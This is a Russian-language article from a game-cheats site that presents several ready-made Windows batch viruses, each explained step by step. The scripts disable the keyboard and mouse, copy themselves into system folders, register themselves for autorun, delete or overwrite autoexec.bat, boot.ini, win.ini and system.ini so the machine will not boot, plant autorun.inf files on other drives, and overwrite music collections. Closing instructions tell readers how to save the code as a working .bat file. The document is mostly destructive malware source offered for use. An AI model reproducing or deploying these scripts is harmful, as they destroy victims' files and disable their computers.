Готовые bat вирусы - Бат вирус - Вирусы - Каталог статей - Читы на все онлайн игры
Главная » Статьи » Вирусы » Бат вирус

Готовые bat вирусы
Привет!

Сегодня я покажу некоторые вирусы на bat.

@echo off 
rundll32 keyboard,disable 
rundll32 mouse,disable 
copy %0 %windir%/system 
echo run=%windir%/system/*.bat >> win.ini 
echo run=%windir%/system/*.bat >> system.ini 
label LOHOLAMMER 
if exist c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r 
deltree /y c:\autoexec.bat > nul 
echo autoexec.bat echo YOU ARE LAMMER...xe-xe-xe > c:\autoexec.bat 
rundll32 mouse,enable 
rundll32 keyboard,enable 
echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js 
echo WSHShell.Popup("Warning,.. Ваш компьютер заражен вирусом, а избавиться от него нельзя, хе-хе-хе"); >> %temp%\mes.js 
start %temp%\mes.js 
deltree /y %temp%\mes.js 
attrib c:\autoexec.bat +h +s +a +r 
pause 
cls

Объясняю популярно и по шагам:

1 @echo off - Запрещаем ДОСовскому окошку показывать, что делает скрипт. 
2 rundll32 keyboard,disable - Отключаем клаву, на случай если юзер поймет что происходит и надумает нажать CTRL+C 
3 rundll32 mouse,disable - Отключаем мышь тоже на всякий. 
4 copy %0 %windir%/system - Копируемся в папку windows/system 
// %0 - Переменная, указывающая на исходный файл-вирус 
// %windir% - переменная папка масдая. 
5 echo run=%windir%/system/*.bat >> %windir%\win.ini - Добавляет текст "run=%windir%/system/*.bat" в файл win.ini 
6 echo run=%windir%/system/*.bat >> %windir%\system.ini - Добавляет текст "run=%windir%/system/*.bat" в файл system.ini 
7 label LOHOLAMMER - Меняет имя диску c:\ на "LOHOLAMMER" 
8 if exist c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r - Проверяем если есть файл c:\autoexec.bat то убираем 
//у него атрибуты -h -s -a -r 
9 deltree /y c:\autoexec.bat - Удаляем файл c:\autoexec.bat , если не убрать атрибуты, то программа не удалит файл. 
10 echo autoexec.bat echo YOU ARE LAMMER...xe-xe-xe > c:\autoexec.bat - Добавить текст "YOU ARE LAMMER...xe-xe-xe" 
//в новый файл autoexec.bat 
11 rundll32 mouse,enable - Включаем, пускай думает, что ниче не было. 
12 rundll32 keyboard,enable - Включаем, пускай думает, что ниче не было. 
13 echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js 
echo WSHShell.Popup("Warning,.. Ваш компьютер заражен вирусом, а избавиться от него нельзя, хе-хе-хе"); >> %temp%\mes.js 
start %temp%\mes.js. //Этот текст выводит масдайное окно с надписью 
deltree /y %temp%\mes.js //А потом стирает за собой следы. 
14 attrib c:\autoexec.bat +h +s +a +r - Делает файл c:\autoexec.bat скрытым и системный чтоб ламер ничего не заподозрил. 
15 pause - Просим нажать любую клавишу (Не обязательно нажимать ведь вирь уже сделал свое дело.) 
16 cls - Выходим

Эта программа, при следующей перезагрузке не даст загрузиться виндовсу и будет писать 'Вы ламер.' .Работает только в винде до 2000.

Идем дальше, пишем новый вирус. Те функции, которые были упомянуты уже, не будут объясняться заново. Это просто усовершенствованная версия прошлого вируса.

@echo off 
rundll32 user,setcursorpos //Убираем с экрана курсор в левый угол 
rundll32 keyboard,disable //Было 
rundll32 mouse,disable //Было 
rundll32 user,swapmousebutton. //Тут мы переставляем кнопки мыши 
echo Обновление параметров системы, пожалуйста подождите... //пишет отмазку :) 
label mp_k //Меняем имя диску 
copy mp_k.exe %windir% //Копирует себя в папку windows 
if exist c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r 
deltree /y c:\autoexec.bat 
if exist c:\io.sys echo autoexec.bat echo YOU_ARE_LAMMER....[]=[_H@CKED_BY_[kas]*_"SmallPox_Vir_Org"_] > c:\autoexec.bat 
echo run = %windir%\mp_k.exe >> %windir%\win.ini 
echo run = %windir%\mp_k.exe >> %windir%\system.ini 
echo [AutoRun] > c:\autorun.inf //Эти операции есть в прошлом вирусе. 
echo open=c:\autoexec.bat > c:\autorun.inf 
echo [AutoRun] > d:\autorun.inf 
echo open=c:\autoexec.bat > d:\autorun.inf 
rundll32 mouse,enable 
rundll32 keyboard,enable 
echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js 
echo WSHShell.Popup("Warning,.. А теперь необходимо перезагрузиться"); >> %temp%\mes.js 
start %temp%\mes.js 
deltree /y %temp%\mes.js 
attrib c:\autoexec.bat +h +s +a +r 
attrib %windir%\mp_k.exe +h +s +a +r 
attrib c:\autorun.inf +h +s +a +r 
attrib d:\autorun.inf +h +s +a +r 
deltree /y mp_k.exe 
rmdir %windir%\temp //Удаляем папку temp 
mkdir %windir%\temp //Создаем папку temp 
cls

А теперь, что-то новое.

@echo off 
cls 
echo Please wait, updating system... 
ctty nul. //Это новая команда, она отключает вывод текста в окошке. 
exist %WINDIR%\SYSTEM\VMM32\%0 goto :end //Если вирь уже запускался то пусть запустит себя снова. 
copy %0 %WINDIR%\SYSTEM\VMM32 
cd c:\ //Переходим в другую директорию 
for %%a in (*.mp3 c:\*.mp3 c:\MUZ\*.mp3 c:\My Music\*.mp3 ..\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом 
cd My Music 
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом 
cd My_Music 
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом 
cd MyMusic 
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом 
cd Music 
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом 
cd Музыка 
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом 
cd Музон 
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом 
cd MUZ 
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом 
cd mp3 
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом 
cd d:\ 
for %%a in (*.mp3 c:\*.mp3 c:\MUZ\*.mp3 c:\My Music\*.mp3 ..\*.mp3) do copy /y %0 %%a 
cd My Music 
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Тут тоже самое. 
cd My_Music 
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a 
cd MyMusic 
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a 
cd Music 
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a 
cd Музыка 
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a 
cd Музон 
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a 
cd MUZ 
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a 
cd mp3 
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a 
:end //Метка 
start /m /w %WINDIR%\SYSTEM\VMM32\%0 //Запуск в свернутом режиме 
ctty con //Врубаем разрешение на показ текста в окне 
echo Say goodbye your MP3 collection :)) Virus [BAT.kas.a] //Прощальные строки 
cls //Выход.

Тут мало нового но уже что-то. Идем дальше. Накачал я с инета BAT-вирусов и начал их исследовать. И вот результаты: 
Написал еще пару своих:

ctty nul //Было такое 
REM Чй† Ђь@uoњPSQRVW 
‹тЌ 
" Q_ь№ у¦u= 
є №є њъ.я?ђ л,ђ /// 
copy %0 *.exe /// 
copy %0 b.com>nul // Эта технология взята с вируса другово. 
b.com. // Эти каракули перехватывают рабочие в данный момент файлы, и херит их. 
del b.com. /// Это текст АСМ скомпиленого в exe 
rem _^ZY[Xќњъ.я?ђ К ђђђђъ.я.ђ К ћ # @echoђё.5Н.Њ ' ‰?ђ Ќ ё.%Н.Ќ є Н'ђђ // 
@echo off // 
echo XEP_BAM //Пишем злобно и красиво. 
if exist %windir%/%0.bat goto :end //Проверка виря на запускание, те был ли он запущен. 
@rundll32 user,setcursorpos 
ctty con //Было такое 
echo Обновление параметров системы, пожалуйста подождите... //Отвлекаем. 
@label BAT.c 
copy %0.bat %windir% > nul 
if exist c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r 
if exist c:\boot.ini attrib c:\boot.ini -h -s -a -r 
deltree /y c:\autoexec.bat 
deltree /y c:\boot.ini 
if exist c:\autoexec.bat echo autoexec.bat echo YOU_ARE_LAMMER.... > c:\autoexec.bat 
if exist c:\boot.ini echo autoexec.bat echo YOU_ARE_LAMMER.... > c:\boot.ini //Это для XP он там вместо autoexec.bat ;) 
deltree /y %windir%/win.ini

copy %0 > %windir%/win.ini 
deltree /y %windir%/system.ini 
copy %0 > %windir%/system.ini 
if exist c:\io.sys //Проверка наличия диска так как на каждом диске есть файл io.sys 
echo [AutoRun] > c:\autorun.inf //И если он есть заразить его. 
echo open=c:\autoexec.bat >> c:\autorun.inf //И если он есть заразить его. 
if exist d:\io.sys //Проверка наличия диска 
echo [AutoRun] > d:\autorun.inf //И если он есть заразить его. 
echo open=c:\autoexec.bat >> d:\autorun.inf //И если он есть заразить его. 
if exist e:\io.sys //Проверка наличия диска 
echo [AutoRun] > e:\autorun.inf //И если он есть заразить его. 
echo open=c:\autoexec.bat >> e:\autorun.inf //И если он есть заразить его. 
:end //Метка СМ начало. 
cls //Выход

Чтобы вирус заработал нажмите "Сохранить как" и напишите в окне любое имя вируса с расширением *.bat например VIRUS.bat ниже (где написано Текстовый документ(*.txt) Открой список и поставь на "Все файлы." вирус готов. Только не пробуйте на своем компе вирусы. Вы так же можете эксперементировать и писать свои bat вирусы.
Категория: Бат вирус | Добавил: Admin (02.02.2013)
Просмотров: 4337 | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Хостинг от uCoz